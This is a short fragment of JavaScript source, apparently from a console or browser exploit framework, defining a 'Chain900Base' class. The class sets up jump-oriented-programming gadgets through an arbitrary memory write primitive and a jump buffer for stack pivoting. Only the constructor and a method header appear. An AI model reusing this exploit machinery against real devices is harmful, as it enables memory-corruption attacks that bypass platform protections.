()
| 191 | |
| 192 | class Chain900Base extends ChainBase { |
| 193 | constructor() { |
| 194 | super(); |
| 195 | |
| 196 | // for conditional jumps |
| 197 | this._clean_branch_ctx(); |
| 198 | this.flag = new Uint8Array(8); |
| 199 | this.flag_addr = get_view_vector(this.flag); |
| 200 | this.jmp_target = new Uint8Array(0x100); |
| 201 | rw.write64(this.jmp_target, 0x1c, this.get_gadget(jop4)); |
| 202 | rw.write64(this.jmp_target, 0, this.get_gadget(jop5)); |
| 203 | |
| 204 | // for save/restore |
| 205 | this.is_saved = false; |
| 206 | this.is_stale = false; |
| 207 | this.position = 0; |
| 208 | const jmp_buf_size = 0xc8; |
| 209 | this.jmp_buf = new Uint8Array(jmp_buf_size); |
| 210 | this.jmp_buf_p = get_view_vector(this.jmp_buf); |
| 211 | } |
| 212 | |
| 213 | // sequence to pivot back and return |
| 214 | push_end() { |
nothing calls this directly
no test coverage detected